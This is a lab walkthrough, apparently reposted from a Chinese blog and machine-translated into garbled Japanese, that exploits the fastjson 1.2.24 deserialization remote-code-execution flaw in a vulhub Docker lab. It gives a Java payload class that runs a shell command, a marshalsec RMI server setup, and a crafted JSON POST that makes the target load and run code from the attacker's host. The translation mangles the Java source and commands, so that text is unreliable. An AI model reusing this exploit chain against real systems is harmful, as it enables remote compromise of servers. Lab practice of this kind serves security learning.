任意のコマンドが実行される脆弱性へのfastjson 1.2.24デシリアライズリードについて

ビルドに環境:

aptのdocker.ioインストールSUDO

gitのクローンhttps://github.com/vulhub/vulhub.git

CD  vulhub  FASTJSON  1.2.24 RCEディレクトリ

スタートコンテナ

sudoのアップドッキングウィンドウ-構成

 

HTTPアクセスポート8090

 

 

 

周囲ドローン準備OK

レディペイロード

// javacのTouchFile.java
輸入java.lang.Runtime。
インポートのjava.lang.Process。

パブリッククラスTouchFile {
静的{
試み{
ランタイムRT = Runtime.getRuntime()。
文字列[]コマンド= { "タッチ"、 "/ TMP /成功"}。
プロセスPC = rt.exec(コマンド)。
pc.waitFor();
}キャッチ(例外e){
//何もしません
}
}
}

クラスファイルにコンパイル

javacのTouchFile.java

対応するディレクトリには:

python -m SimpleHTTPServer 4444

 

 

 

https://github.com/mbechler/marshalsec.gitを使用してリモートローディングペイロードのためのRMIサーバをセットアップ

mvn clean package -DskipTests

 

cd target

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.10.202.130:4444/#/TouchFile" 9999

 

然后访问HTTP服务器,进行payload构造

POST / HTTP/1.1
Host: 10.10.202.130:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.10.202.130:9999/TouchFile",
"autoCommit":true
}
}

 

测试即可。

おすすめ

転載: www.cnblogs.com/hack404/p/11980791.html